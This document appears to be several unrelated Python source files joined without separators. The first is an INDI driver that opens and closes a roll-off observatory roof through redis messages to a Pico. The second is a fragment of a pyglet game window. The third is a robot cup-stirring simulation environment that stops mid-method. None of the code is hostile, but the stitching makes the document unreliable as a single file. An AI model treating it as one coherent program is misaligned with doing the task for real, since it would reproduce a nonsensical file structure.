#!/home/bernard/acenv/bin/python3

"""doordriver.py

Opens and closes, and reports status of the door

device = 'Roll off door'

Consists of a switch vector,

property name = DOME_SHUTTER
elements = SHUTTER_OPEN, SHUTTER_CLOSE

and a light vector
property name = DOOR_STATE
with elements:
OPEN
OPENING
CLOSING
CLOSED
UNKNOWN

and two number vectors LEFT_DOOR RIGHT_DOOR,
each with elements:
ACC_DURATION
FAST_DURATION
DEC_DURATION
SLOW_DURATION
MAXIMUM
MINIMUM

which set the door movement parameters. The Python object which
generates these number vectors uses the parameters to open and
close the doors, on being instructed to do so by the DOME_SHUTTER
switch vector
"""

import os, sys, collections, asyncio, time

import xml.etree.ElementTree as ET

from datetime import datetime

from time import monotonic

import redis

# All xml data received on the port from the client should be contained in one of the following tags
TAGS = (b'getProperties',
        b'newTextVector',
        b'newNumberVector',
        b'newSwitchVector',
        b'newBLOBVector'
       )

# _STARTTAGS is a tuple of ( b'<newTextVector', ...  ) data received will be tested to start with such a starttag
_STARTTAGS = tuple(b'<' + tag for tag in TAGS)

# _ENDTAGS is a tuple of ( b'</newTextVector>', ...  ) data received will be tested to end with such an endtag
_ENDTAGS = tuple(b'</' + tag + b'>' for tag in TAGS)

def driver():
    "Blocking call"

    # create a redis connection
    rconn = redis.Redis(host='localhost', port=6379, db=0)

    # create a deque, data to be sent to indiserver is appended to this
    sender = collections.deque(maxlen=100)

    # create classes which handle the hardware

    device = 'Roll off door'

    leftdoor = Door(device, 0, rconn, sender)
    # If new door motion values have been set in a file, read them
    leftdoor.read_parameters()

    rightdoor = Door(device, 1, rconn, sender)
    # If new door motion values have been set in a file, read them
    rightdoor.read_parameters()

    lights = StatusLights(device, leftdoor, rightdoor, rconn, sender)
    roof = Roof(device, leftdoor, rightdoor, lights, rconn, sender)

    # intiate a slow close, in case the pi resumes power with the door half open
    leftdoor.startdoor(direction=False, slow=True)
    rightdoor.startdoor(direction=False, slow=True)
    # direction = False sets the direction to close

    connections = _Driver(sender, leftdoor, rightdoor, lights, roof)
    asyncio.run(connections.handle_data())

class _Driver:

    def __init__(self, sender, *items):
        "Sets the data used by the data handler"
        self.sender = sender
        self.items = items

    async def handle_data(self):
        """handle data via stdin and stdout"""
        loop = asyncio.get_running_loop()
        reader = asyncio.StreamReader(loop=loop)
        reader_protocol = asyncio.StreamReaderProtocol(reader, loop=loop)
        await loop.connect_read_pipe( lambda: reader_protocol, sys.stdin)

        writer_transport, writer_protocol = await loop.connect_write_pipe(
                                                       lambda: asyncio.Protocol(),
                                                       sys.stdout)
        writer = asyncio.StreamWriter(writer_transport, writer_protocol, None, loop)

        # list of item update methods, each of which should be an awaitable
        itemlist = list(item.update() for item in self.items)
        await asyncio.gather(self.reader(reader), self.writer(writer), *itemlist)

    async def writer(self, writer):
        """Writes data in sender to stdout writer"""
        while True:
            if self.sender:
                # add a new line to help if the software receiving this is line bufferred
                writer.write(self.sender.popleft() + b"\n")
            else:
                # no message to send, do an async pause
                await asyncio.sleep(0.2)

    async def reader(self, reader):
        """Reads data from stdin reader which is the input stream of the driver"""
        # get received data, and put it into message
        message = b''
        messagetagnumber = None
        while True:
            # get blocks of data
            try:
                data = await reader.readuntil(separator=b'>')
            except asyncio.LimitOverrunError:
                data = await reader.read(n=32000)
            if not message:
                # data is expected to start with <tag, first strip any newlines
                data = data.strip()
                for index, st in enumerate(_STARTTAGS):
                    if data.startswith(st):
                        messagetagnumber = index
                        break
                else:
                    # data does not start with a recognised tag, so ignore it
                    # and continue waiting for a valid message start
                    continue
                # set this data into the received message
                message = data
                # either further children of this tag are coming, or maybe its a single tag ending in "/>"
                if message.endswith(b'/>'):
                    # the message is complete, handle message here
                    try:
                        root = ET.fromstring(message.decode("utf-8"))
                    except Exception:
                        # possible malformed
                        message = b''
                        messagetagnumber = None
                        continue
                    # respond to the received xml ############
                    self.respond(root)
                    # and start again, waiting for a new message
                    message = b''
                    messagetagnumber = None
                # and read either the next message, or the children of this tag
                continue
            # To reach this point, the message is in progress, with a messagetagnumber set
            # keep adding the received data to message, until an endtag is reached
            message += data
            if message.endswith(_ENDTAGS[messagetagnumber]):
                # the message is complete, handle message here
                try:
                    root = ET.fromstring(message.decode("utf-8"))
                except Exception:
                    # possible malformed
                    message = b''
                    messagetagnumber = None
                    continue
                # respond to the received xml ############
                self.respond(root)
                # and start again, waiting for a new message
                message = b''
                messagetagnumber = None

    def respond(self, root):
        "Respond to received xml, as set in root"
        if root.tag == "getProperties":
            version = root.get("version")
            if version != "1.7":
                return
            for item in self.items:
                item.getvector(root)
        else:
            # root.tag will be either newSwitchVector, newNumberVector,.. etc, one of the tags in TAGS
            for item in self.items:
                item.newvector(root)

######### ROOF OBJECT ###########
#
# Consists of a switch vector,
# property name = DOME_SHUTTER
# elements = SHUTTER_OPEN, SHUTTER_CLOSE

class Roof:

    def __init__(self, device, leftdoor, rightdoor, lights, rconn, sender):
        "A switch object"
        self.device = device
        self.name = "DOME_SHUTTER"
        self.rconn = rconn
        self.sender = sender
        self.leftdoor = leftdoor
        self.rightdoor = rightdoor
        self.lights = lights
        self.status = "UNKNOWN"

    async def update(self):
        """Check current door status and return a setSwitchVector if a change has occurred"""
        while True:
            await asyncio.sleep(0.2)
            status = self.lights.status
            if status == self.status:
                # no change to status, nothing to report
                continue
            xmldata = self.setswitchvector(status, state="Ok", message=None)
            # appends the xml data to be sent to the sender deque object
            self.sender.append(ET.tostring(xmldata))

    def getvector(self, root):
        """Responds to a getProperties, sets defSwitchVector for the roof in the sender deque.
           Returns None"""
        # check for valid request
        device = root.get("device")
        # device must be None (for all devices), or this device
        if device is None:
            # requesting all properties from all devices
            xmldata = self.defswitchvector()
            # appends the xml data to be sent to the sender deque object
            self.sender.append(ET.tostring(xmldata))
            return
        elif device != self.device:
            # device specified, but not equal to this device
            return

        name = root.get("name")
        if (name is None) or (name == self.name):
            xmldata = self.defswitchvector()
            # appends the xml data to be sent to the sender deque object
            self.sender.append(ET.tostring(xmldata))

    def newvector(self, root):
        "On receiving a newswitchvector, start opening or closing the door"
        if root.tag != "newSwitchVector":
            return
        if root.get("device") != self.device:
            # not this device
            return
        if root.get("name") != self.name:
            # not this SwitchVector
            return

        switchlist = root.findall("oneSwitch")
        for setting in switchlist:
            # property name
            pn = setting.get("name")
            # get switch On or Off, remove newlines
            content = setting.text.strip()
            if (pn == 'SHUTTER_OPEN') and (content == "On"):
                if self.lights.status == "CLOSED":
                    self.leftdoor.startdoor(True)
                    self.rightdoor.startdoor(True)
                elif self.lights.status == "OPEN":
                    # already open, send ok state back
                    self.sendsetswitchvectorok()
            elif (pn == 'SHUTTER_OPEN') and (content == "Off"):
                if self.lights.status == "OPEN":
                    self.leftdoor.startdoor(False)
                    self.rightdoor.startdoor(False)
                elif self.lights.status == "CLOSED":
                    # already closed, send ok state back
                    self.sendsetswitchvectorok()
            elif (pn == 'SHUTTER_CLOSE') and (content == "On"):
                if self.lights.status == "OPEN":
                    self.leftdoor.startdoor(False)
                    self.rightdoor.startdoor(False)
                elif self.lights.status == "CLOSED":
                    # already closed, send ok state back
                    self.sendsetswitchvectorok()
            elif (pn == 'SHUTTER_CLOSE') and (content == "Off"):
                if self.lights.status == "CLOSED":
                    self.leftdoor.startdoor(True)
                    self.rightdoor.startdoor(True)
                elif self.lights.status == "OPEN":
                    # already open, send ok state back
                    self.sendsetswitchvectorok()

    def defswitchvector(self):
        """Returns a defSwitchVector for the roof control"""

        # note - limit timestamp characters to :21 to avoid long fractions of a second
        timestamp = datetime.utcnow().isoformat(sep='T')[:21]

        xmldata = ET.Element('defSwitchVector')
        xmldata.set("device", self.device)
        xmldata.set("name", self.name)
        xmldata.set("label", "Control")
        xmldata.set("group", "Control")
        xmldata.set("timestamp", timestamp)
        xmldata.set("perm", "rw")
        xmldata.set("rule", "OneOfMany")
        xmldata.set("state", "Ok")

        se_open = ET.Element('defSwitch')
        se_open.set("name", 'SHUTTER_OPEN')
        if self.lights.status == "OPEN":
            se_open.text = "On"
        elif self.lights.status == "OPENING":
            se_open.text = "On"
            xmldata.set("state", "Busy")
        else:
            se_open.text = "Off"
        xmldata.append(se_open)

        se_close = ET.Element('defSwitch')
        se_close.set("name", 'SHUTTER_CLOSE')
        if self.lights.status == "CLOSED":
            se_close.text = "On"
        elif self.lights.status == "CLOSING":
            se_close.text = "On"
            xmldata.set("state", "Busy")
        else:
            se_close.text = "Off"
        xmldata.append(se_close)

        return xmldata

    def sendsetswitchvectorok(self):
        "Sends a setswitchvector with a state of ok"
        # note - limit timestamp characters to :21 to avoid long fractions of a second
        timestamp = datetime.utcnow().isoformat(sep='T')[:21]
        xmldata = ET.Element('setSwitchVector')
        xmldata.set("device", self.device)
        xmldata.set("name", self.name)
        xmldata.set("timestamp", timestamp)
        xmldata.set("state", "Ok")
        # appends the xml data to be sent to the sender deque object
        self.sender.append(ET.tostring(xmldata))

    def setswitchvector(self, status, state=None, message=None):
        """create the setswitchvector with the given status, return the xml"""

        # note - limit timestamp characters to :21 to avoid long fractions of a second
        timestamp = datetime.utcnow().isoformat(sep='T')[:21]

        xmldata = ET.Element('setSwitchVector')
        xmldata.set("device", self.device)
        xmldata.set("name", self.name)
        xmldata.set("timestamp", timestamp)

        if state is not None:
            xmldata.set("state", state)

        if message is not None:
            xmldata.set("message", message)

        if status == self.status:
            return xmldata

        self.status = status

        # with its two switch states

        se_open = ET.Element('oneSwitch')
        se_open.set("name", 'SHUTTER_OPEN')
        if status == "OPEN":
            se_open.text = "On"
        elif status == "OPENING":
            se_open.text = "On"
            xmldata.set("state", "Busy")
        else:
            se_open.text = "Off"
        xmldata.append(se_open)

        se_close = ET.Element('oneSwitch')
        se_close.set("name", 'SHUTTER_CLOSE')
        if status == "CLOSED":
            se_close.text = "On"
        elif status == "CLOSING":
            se_close.text = "On"
            xmldata.set("state", "Busy")
        else:
            se_close.text = "Off"
        xmldata.append(se_close)

        return xmldata

############# STATUSLIGHTS OBJECT #######
#
# a light vector
# property name = DOOR_STATE
# with elements:
# OPEN
# OPENING
# CLOSING
# CLOSED
# UNKNOWN

class StatusLights:

    def __init__(self, device, leftdoor, rightdoor, rconn, sender):
        "A lights object"
        self.device = device
        self.name = "DOOR_STATE"
        self.rconn = rconn
        self.sender = sender
        self.leftdoor = leftdoor
        self.rightdoor = rightdoor
        self.status = "UNKNOWN"

    async def update(self):
        """Check current door status and return a setLightVector if a change has occurred"""
        while True:
            await asyncio.sleep(0.2)
            status = 'UNKNOWN'
            if self.leftdoor.direction and self.rightdoor.direction:   # open or opening
                if self.leftdoor.moving or self.rightdoor.moving:
                    status = "OPENING"
                else:
                    status = "OPEN"
            if (not self.leftdoor.direction) and (not self.rightdoor.direction):   # closed or closing
                if self.leftdoor.moving or self.rightdoor.moving:
                    status = "CLOSING"
                else:
                    status = "CLOSED"

            if status == self.status:
                # no change, so nothing new to report
                continue

            if status == "UNKNOWN":
                xmldata = self.setlightvector(status, state="Alert", message="Roof status unknown")
            else:
                xmldata = self.setlightvector(status, state="Ok", message="Roof status")

            # appends the xml data to be sent to the sender deque object
            self.sender.append(ET.tostring(xmldata))

    def getvector(self, root):
        """Responds to a getProperties, sets defLightVector for the door in the sender deque.
           Returns None"""
        # check for valid request
        device = root.get("device")
        # device must be None (for all devices), or this device
        if device is None:
            # requesting all properties from all devices
            xmldata = self.deflightvector()
            # appends the xml data to be sent to the sender deque object
            self.sender.append(ET.tostring(xmldata))
            return
        elif device != self.device:
            # device specified, but not equal to this device
            return

        name = root.get("name")
        if (name is None) or (name == self.name):
            xmldata = self.deflightvector()
            # appends the xml data to be sent to the sender deque object
            self.sender.append(ET.tostring(xmldata))

    def deflightvector(self):
        """Returns a defLightVector for the roof status"""

        # note - limit timestamp characters to :21 to avoid long fractions of a second
        timestamp = datetime.utcnow().isoformat(sep='T')[:21]

        # create the responce
        xmldata = ET.Element('defLightVector')
        xmldata.set("device", self.device)
        xmldata.set("name", self.name)
        xmldata.set("label", "Roll Off door status")
        xmldata.set("group", "Control")
        xmldata.set("state", "Ok")
        xmldata.set("timestamp", timestamp)
        xmldata.set("message", "Roof status")

        # five lights
        # OPEN
        # OPENING
        # CLOSING
        # CLOSED
        # UNKNOWN
        # Idle|Ok|Busy|Alert
        e1 = ET.Element('defLight')
        e1.set("name", "OPEN")
        e1.text = "Idle"
        e2 = ET.Element('defLight')
        e2.set("name", "OPENING")
        e2.text = "Idle"
        e3 = ET.Element('defLight')
        e3.set("name", "CLOSING")
        e3.text = "Idle"
        e4 = ET.Element('defLight')
        e4.set("name", "CLOSED")
        e4.text = "Idle"
        e5 = ET.Element('defLight')
        e5.set("name", "UNKNOWN")
        e5.text = "Idle"

        if self.status == "OPEN":
            e1.text = "Ok"
            xmldata.set("message", "Roof status : open")
        elif self.status == "OPENING":
            e2.text = "Ok"
            xmldata.set("message", "Roof status : opening")
        elif self.status == "CLOSING":
            e3.text = "Ok"
            xmldata.set("message", "Roof status : closing")
        elif self.status == "CLOSED":
            e4.text = "Ok"
            xmldata.set("message", "Roof status : closed")
        elif self.status == "UNKNOWN":
            e5.text = "Alert"
            xmldata.set("message", "Roof status : unknown")
        xmldata.append(e1)
        xmldata.append(e2)
        xmldata.append(e3)
        xmldata.append(e4)
        xmldata.append(e5)
        return xmldata

    def newvector(self, root):
        "A lightvector does not receive a newvector, so this is a placeholder only"
        return

    def setlightvector(self, status, state=None, message=None):
        """create the setlightvector with the given status, return the xml"""

        # note - limit timestamp characters to :21 to avoid long fractions of a second
        timestamp = datetime.utcnow().isoformat(sep='T')[:21]

        xmldata = ET.Element('setLightVector')
        xmldata.set("device", self.device)
        xmldata.set("name", self.name)
        xmldata.set("timestamp", timestamp)

        if state is not None:
            xmldata.set("state", state)

        if message is not None:
            xmldata.set("message", message)

        if status == self.status:
            return xmldata

        self.status = status

        # OPEN
        # OPENING
        # CLOSING
        # CLOSED
        # UNKNOWN
        # Idle|Ok|Busy|Alert
        e1 = ET.Element('oneLight')
        e1.set("name", "OPEN")
        e1.text = "Idle"
        e2 = ET.Element('oneLight')
        e2.set("name", "OPENING")
        e2.text = "Idle"
        e3 = ET.Element('oneLight')
        e3.set("name", "CLOSING")
        e3.text = "Idle"
        e4 = ET.Element('oneLight')
        e4.set("name", "CLOSED")
        e4.text = "Idle"
        e5 = ET.Element('oneLight')
        e5.set("name", "UNKNOWN")
        e5.text = "Idle"
        if self.status == "OPEN":
            e1.text = "Ok"
            xmldata.set("message", "Roof status : open")
        elif self.status == "OPENING":
            e2.text = "Ok"
            xmldata.set("message", "Roof status : opening")
        elif self.status == "CLOSING":
            e3.text = "Ok"
            xmldata.set("message", "Roof status : closing")
        elif self.status == "CLOSED":
            e4.text = "Ok"
            xmldata.set("message", "Roof status : closed")
        elif self.status == "UNKNOWN":
            e5.text = "Alert"
            xmldata.set("message", "Roof status : unknown")
        xmldata.append(e1)
        xmldata.append(e2)
        xmldata.append(e3)
        xmldata.append(e4)
        xmldata.append(e5)

        return xmldata

######### Door objects
#
# these are numbervectors with elements
# ACC_DURATION
# FAST_DURATION
# DEC_DURATION
# SLOW_DURATION
# MAXIMUM
# MINIMUM
#
# and also have startdoor methods which open and control the door motion

class Door:

    def __init__(self, device, door, rconn, sender):
        "A door object, with door number such as 0 or 1"
        if door:
            self.name = "RIGHT_DOOR"
        else:
            self.name = "LEFT_DOOR"
        self.device = device
        if door:
            self.group = "Right door"
        else:
            self.group = "Left door"
        self.door = door
        self.rconn = rconn
        self.sender = sender

        self.direction = True  # True for open, False for close

        # this is the current pwm ratio being sent to the pico, a value between 0 and 95
        self.pwm_ratio = 0

        # this is set to True when the door is moving
        self.moving = False
        self.start_running = 0

        # Set these parameters to default
        self._acc_duration = 2
        self._fast_duration = 4
        self._dec_duration = 2
        self._slow_duration = 2
        self._maximum = 95
        self._minimum = 5

        # these will be stored in a file with this property name, and in the same directory
        # as this python file
        self.filename = os.path.join(os.path.dirname(os.path.realpath(__file__)), self.name)

        # If slow is True, this temporarily sets maximum speed to self._minimum+1
        self.slow = False

    @property
    def elements(self):
        return [ str(self._acc_duration),
                 str(self._fast_duration),
                 str(self._dec_duration),
                 str(self._slow_duration),
                 str(self._maximum),
                 str(self._minimum) ]

    def read_parameters(self):
        """Reads the parameters from a file"""
        if not os.path.isfile(self.filename):
            return
        f = open(self.filename, "r")
        parameter_strings = f.readlines()
        f.close()
        if len(parameter_strings) != 6:
            return
        parameter_list = [ int(p.strip()) for p in parameter_strings]
        self._acc_duration = parameter_list[0]
        self._fast_duration = parameter_list[1]
        self._dec_duration = parameter_list[2]
        self._slow_duration = parameter_list[3]
        self._maximum = parameter_list[4]
        self._minimum = parameter_list[5]

    def write_parameters(self):
        """Saves the parameters to a file"""
        f = open(self.filename, "w")
        parameter_list = self.elements
        for p in parameter_list:
            f.write(p+"\n")
        f.close()

    def startdoor(self, direction, slow=False):
        # can only start if the door is not moving
        if self.moving:
            return
        self.start_running = monotonic()
        self.moving = True
        self.slow = slow
        self.direction = direction
        if direction:
            self.rconn.publish('tx_to_pico', f'pico_door{self.door}_direction_1')
        else:
            self.rconn.publish('tx_to_pico', f'pico_door{self.door}_direction_0')

    async def update(self):
        """Sends pwm values to the pico, check pwm every .2 seconds"""
        while True:
            await asyncio.sleep(0.2)
            if not self.moving:
                # the door is not moving, nothing to do
                # and set self.slow to False, so it has to be set to True again to initiate a slow down
                self.slow = False
                continue
            # door is moving, get pwm and send to pico
            running_time = monotonic() - self.start_running

            pwm = 0

            # If the running time is greater than max allowed, stop the motor
            max_running_time = self._acc_duration + self._fast_duration + self._dec_duration + self._slow_duration
            if running_time >= max_running_time:
                self.pwm_ratio = 0
                self.moving = False
                self.rconn.publish('tx_to_pico', f'pico_door{self.door}_pwm_0')
                continue

            # door is opening or closing, get the pwm ratio
            if self.slow:
                pwm = curve(running_time, self._acc_duration,
                                          self._fast_duration,
                                          self._dec_duration,
                                          self._slow_duration,
                                          self._minimum + 1,
                                          self._minimum)
            else:
                pwm = curve(running_time, self._acc_duration,
                                          self._fast_duration,
                                          self._dec_duration,
                                          self._slow_duration,
                                          self._maximum,
                                          self._minimum)

            # pwm is a number between 0 and self._maximum, #########################
            pwm = int(pwm)
            # has this changed from previous?
            if pwm != self.pwm_ratio:
                # yes it has changed, so send this to the pico, and store new value in self.pwm_ratio
                self.pwm_ratio = pwm
                self.rconn.publish('tx_to_pico', f'pico_door{self.door}_pwm_{pwm}')

    def getvector(self, root):
        """Responds to a getProperties, sets defNumberVector for the door in the sender deque.
           Returns None"""
        # check for valid request
        device = root.get("device")
        # device must be None (for all devices), or this device
        if device is None:
            # requesting all properties from all devices
            xmldata = self.defnumbervector()
            # appends the xml data to be sent to the sender deque object
            self.sender.append(ET.tostring(xmldata))
            return
        elif device != self.device:
            # device specified, but not equal to this device
            return

        name = root.get("name")
        if (name is None) or (name == self.name):
            xmldata = self.defnumbervector()
            # appends the xml data to be sent to the sender deque object
            self.sender.append(ET.tostring(xmldata))

    def defnumbervector(self):
        """Returns a defNumberVector for the door"""

        # note - limit timestamp characters to :21 to avoid long fractions of a second
        timestamp = datetime.utcnow().isoformat(sep='T')[:21]

        # create the responce
        xmldata = ET.Element('defNumberVector')
        xmldata.set("device", self.device)
        xmldata.set("name", self.name)
        xmldata.set("label", "Door motion parameters")
        xmldata.set("group", self.group)
        xmldata.set("state", "Ok")
        xmldata.set("perm", "rw")
        xmldata.set("timestamp", timestamp)

        #ACC_DURATION
        ad = ET.Element('defNumber')
        ad.set("name", 'ACC_DURATION')
        ad.set("label", 'Duration of acceleration (seconds)')
        ad.set("format", "%2d")
        ad.set("min", "1")
        ad.set("max", "20")   # min== max means ignore
        ad.set("step", "1")    # 0 means ignore
        ad.text = str(self._acc_duration)
        xmldata.append(ad)

        #FAST_DURATION
        fd = ET.Element('defNumber')
        fd.set("name", 'FAST_DURATION')
        fd.set("label", 'Duration of maximum speed (seconds)')
        fd.set("format", "%2d")
        fd.set("min", "1")
        fd.set("max", "30")   # min== max means ignore
        fd.set("step", "1")    # 0 means ignore
        fd.text = str(self._fast_duration)
        xmldata.append(fd)

        #DEC_DURATION
        dd = ET.Element('defNumber')
        dd.set("name", 'DEC_DURATION')
        dd.set("label", 'Duration of deceleration (seconds)')
        dd.set("format", "%2d")
        dd.set("min", "1")
        dd.set("max", "20")   # min== max means ignore
        dd.set("step", "1")    # 0 means ignore
        dd.text = str(self._dec_duration)
        xmldata.append(dd)

        #SLOW_DURATION
        sd = ET.Element('defNumber')
        sd.set("name", 'SLOW_DURATION')
        sd.set("label", 'Duration of low speed after deceleration (seconds)')
        sd.set("format", "%2d")
        sd.set("min", "1")
        sd.set("max", "30")   # min== max means ignore
        sd.set("step", "1")    # 0 means ignore
        sd.text = str(self._slow_duration)
        xmldata.append(sd)

        #MAXIMUM
        mx = ET.Element('defNumber')
        mx.set("name", 'MAXIMUM')
        mx.set("label", 'High speed pwm ratio (percentage)')
        mx.set("format", "%2d")
        mx.set("min", "2")
        mx.set("max", "95")   # min== max means ignore
        mx.set("step", "1")    # 0 means ignore
        mx.text = str(self._maximum)
        xmldata.append(mx)

        #MINIMUM
        mn = ET.Element('defNumber')
        mn.set("name", 'MINIMUM')
        mn.set("label", 'Low speed pwm ratio (percentage)')
        mn.set("format", "%2d")
        mn.set("min", "1")
        mn.set("max", "50")   # min== max means ignore
        mn.set("step", "1")    # 0 means ignore
        mn.text = str(self._minimum)
        xmldata.append(mn)

        return xmldata

    def setnumbervector(self, elements, state=None, message=None):
        "Sets this objects elements and create the setnumbervector with the given elements, return the xml"

        # note - limit timestamp characters to :21 to avoid long fractions of a second
        timestamp = datetime.utcnow().isoformat(sep='T')[:21]

        # create the setNumberVector
        xmldata = ET.Element('setNumberVector')
        xmldata.set("device", self.device)
        xmldata.set("name", self.name)
        xmldata.set("timestamp", timestamp)

        if state is not None:
            xmldata.set("state", state)

        if message is not None:
            xmldata.set("message", message)

        int_elements = [ int(e.strip()) for e in elements ]

        if int_elements[0] != self._acc_duration:
            self._acc_duration = int_elements[0]
            ad = ET.Element('oneNumber')
            ad.set("name", 'ACC_DURATION')
            ad.text = str(self._acc_duration)
            xmldata.append(ad)

        if int_elements[1] != self._fast_duration:
            self._fast_duration = int_elements[1]
            fd = ET.Element('oneNumber')
            fd.set("name", 'FAST_DURATION')
            fd.text = str(self._fast_duration)
            xmldata.append(fd)

        if int_elements[2] != self._dec_duration:
            self._dec_duration = int_elements[2]
            dd = ET.Element('oneNumber')
            dd.set("name", 'DEC_DURATION')
            dd.text = str(self._dec_duration)
            xmldata.append(dd)

        if int_elements[3] != self._slow_duration:
            self._slow_duration = int_elements[3]
            sd = ET.Element('oneNumber')
            sd.set("name", 'SLOW_DURATION')
            sd.text = str(self._slow_duration)
            xmldata.append(sd)

        if int_elements[4] != self._maximum:
            self._maximum = int_elements[4]
            mx = ET.Element('oneNumber')
            mx.set("name", 'MAXIMUM')
            mx.text = str(self._maximum)
            xmldata.append(mx)

        if int_elements[5] != self._minimum:
            self._minimum = int_elements[5]
            mn = ET.Element('oneNumber')
            mn.set("name", 'MINIMUM')
            mn.text = str(self._minimum)
            xmldata.append(mn)

        return xmldata

    def newvector(self, root):
        "Having received a newNumberVector, parse and save data, and send setnumbervector back"
        if root.tag != "newNumberVector":
            return
        if root.get("device") != self.device:
            # not this device
            return
        if root.get("name") != self.name:
            # not this NumberVector
            return

        # get newelements receive, starting with a copy of current elements, and then updating
        # it with any changes
        newelements = self.elements.copy()

        elementlist = root.findall("oneNumber")
        # get elements received
        for item in elementlist:
            # oneNumber element name
            numname = item.get("name")
            # get the number, remove newlines
            if numname == 'ACC_DURATION':
                newelements[0] = item.text.strip()
            elif numname == 'FAST_DURATION':
                newelements[1] = item.text.strip()
            elif numname == 'DEC_DURATION':
                newelements[2] = item.text.strip()
            elif numname == 'SLOW_DURATION':
                newelements[3] = item.text.strip()
            elif numname == 'MAXIMUM':
                newelements[4] = item.text.strip()
            elif numname == 'MINIMUM':
                newelements[5] = item.text.strip()

        # check newelements received

        # If no change to elements, send an ok response
        if newelements == self.elements:
            xmldata = self.setnumbervector(self.elements, state="Ok", message='Door motion durations and motor PWM ratio can be set here.')
            self.sender.append(ET.tostring(xmldata))
            return

        # check received values ok, if not, send a setnumbervector with alert, message
        # and with current self.elements, indicting no change to elements
        receivedmax = int(newelements[4])
        receivedmin = int(newelements[5])

        if receivedmin >= receivedmax:
            xmldata = self.setnumbervector(self.elements, state="Alert", message="The maximum pwm must be greater than the minimum")
            self.sender.append(ET.tostring(xmldata))
            return

        if receivedmax > 95:
            xmldata = self.setnumbervector(self.elements, state="Alert", message="The maximum pwm is 95 max")
            self.sender.append(ET.tostring(xmldata))
            return

        if receivedmin > 50:
            xmldata = self.setnumbervector(self.elements, state="Alert", message="The minimum pwm is 50 max")
            self.sender.append(ET.tostring(xmldata))
            return

        if receivedmin < 1:
            xmldata = self.setnumbervector(self.elements, state="Alert", message="The minimum pwm is 1")
            self.sender.append(ET.tostring(xmldata))
            return

        # change of elements are ok, send setnumbervector back and save the new elements
        xmldata = self.setnumbervector(newelements, state="Ok", message="Door motion durations and motor PWM ratio can be set here.")
        self.sender.append(ET.tostring(xmldata))
        self.write_parameters()

def curve(t, acc_t, fast_t, dec_t, slow_t, fast, slow):
    """Returns a speed value between 0 and fast for a given t
       t is the time (a float in seconds), from zero at which point acceleration starts
       typically t would be incrementing in real time as the door is opening/closing
       acc_t is the acceleration time, after which the 'fast' speed is reached
       fast_t is the time spent at the fast speed
       dec_t is the time spent decelarating from fast to slow
       slow_t is the time then spent running at 'slow' speed.
       after acc_t + fast_t + dec_t + slow_t, 0.0 is returned

       fast is the fast speed, provide a float
       slow is the slow speed, provide a float, this is the slow door speed which typically
       would take the door to a limit stop switch."""

    assert fast > slow > 0.0

    duration = acc_t + fast_t + dec_t

    full_duration = duration + slow_t

    if t >= full_duration:
        return 0.0
    if t >= duration:
        return slow

    if t >= acc_t and t <= acc_t + fast_t:
        # during fast time, fast should be returned
        return fast

    # this list must have nine elements describing an acceleration curve from 0.0 to 1.0
    c = [0.0, 0.05, 0.15, 0.3, 0.5, 0.7, 0.85, 0.95, 1.0]

    # increase from 0.0 to fast during acceleration
    if t <= acc_t:
        # first calculate an increase from 0.0 to 1.0
        # scale acc_t to match the list on the acceleration curve
        tacc = t * 8.0 / acc_t    # when acc_t = 8, tacc = t
        lowindex = int(tacc)
        highindex = lowindex + 1
        diff = c[highindex] - c[lowindex]
        y = diff*tacc + c[lowindex] - diff* lowindex
        if y < 0.0:
            y = 0.0
        # scale 1.0 to be fast
        speed = y * fast
        return round(speed, 3)

    # for the deceleration, treat time in the negative direction
    # so rather than a decrease from 1.0 to 0.0, it again looks like
    # an increase from 0.0 to 1.0

    s = duration - t
    if s >= dec_t:
        return fast
    # scale dec_t to match the list on the acceleration curve
    sdec = s * 8.0 / dec_t
    lowindex = int(sdec)
    highindex = lowindex + 1
    diff = c[highindex] - c[lowindex]
    y = diff*sdec + c[lowindex] - diff* lowindex
    if y < 0.0:
        y = 0.0
    # 1.0 should become 'fast' and 0.0 should become 'slow'
    speed = (fast - slow)*y + slow
    return round(speed, 3)

if __name__=="__main__":

    # start this blocking call
    driver()


from __future__ import print_function

from pyglet import window
from pyglet import clock
from pyglet import event

import game_manager

class GameWindow(window.Window):
    def __init__(self, *args, **kwargs):
        super(GameWindow, self).__init__(*args, **kwargs)
        self.has_exit = False
        self.playerManager = None
        self.gameManager = game_manager.GameManager(self)

wm = """
class WindowDrawManager(event.EventDispatcher):
    def __init__(self, parent):
        super(WindowDrawManager, self).__init__()
        self.parent = parent

        self.activate()

    def activate(self):
        self.parent.push_handlers(self.on_draw)

    def deactivate(self):
        self.parent.pop_handlers()

    def on_draw(self):
        self.parent.clear()
        self.dispatch_event('window_draw')
        self.parent.flip()

WindowDrawManager.register_event_type('window_draw')
"""


from __future__ import division
from collections import OrderedDict
from gym.spaces import Dict

from cup_skills.cup_world import *
from cup_skills.local_setup import path
from cup_skills.reward import stir_reward
from gym import spaces
from cup_skills.utils import simulate_for_duration, threshold_img

k = 1  # scaling factor
DEMO = False

real_init = True

#was 70
class World:
    def __init__(self, visualize=False, real_init=True, stirring=True, beads=True, num_beads=15, distance_threshold=0.4, states=[[],[]], force_states=[]):
        # make base world
        self.visualize = visualize
        self.distance_threshold = distance_threshold
        self.reward_threshold = 81 #distance_threshold
        self.stirring = stirring
        self.env=self #sorry
        self.unwrapped = self
        self.real_init = real_init
        self.threshold = 0.2  # TAU from thesis
        self.scale = 5
        self.time = 0
        self.side_states, self.top_states = states
        self.force_states = force_states
        if stirring:
            self.state_function = self.stirring_state
        else:
            self.state_function = self.scooping_state
        self.timeout = 20
        self.seed = lambda x: np.random.randint(10)
        self.reward_range = (-100, 100)
        self.reward_scale = 1
        self.metadata = {"threshold": self.threshold}
        if stirring:
            cup_name = "cup_small.urdf"
            bead_radius = 0.011
            camera_z_offset = 0.05
            camera_distance = 0.2
        else:
            cup_name = "cup_3.urdf"
            bead_radius = 0.014
            camera_z_offset = 0.15
            camera_distance = 0.8
        if real_init:
            self.base_world = CupWorld(visualize=visualize, camera_z_offset=camera_z_offset,  bead_radius = bead_radius, real_init=real_init, beads=beads, cup_name = cup_name, camera_distance=camera_distance, for_scoop=not self.stirring)
            self.setup(num_beads=num_beads, scooping_world=not stirring)

        self.gen_obs_space()
        self.dt = 0.1
        max_move = 0.8
        low_act = np.array([-max_move] * 7)
        high_act = np.array([max_move] * 7)
        low_act[-1] = -40
        high_act[-1] = 40
        self.action_space = spaces.Box(low=low_act, high=high_act, dtype=np.float32)

    def gen_obs_space(self,encoder_dict=None):
        state = self.state_function()
        if isinstance(state, dict):
            ob_space_dict = OrderedDict()

            for space_name in state.keys():
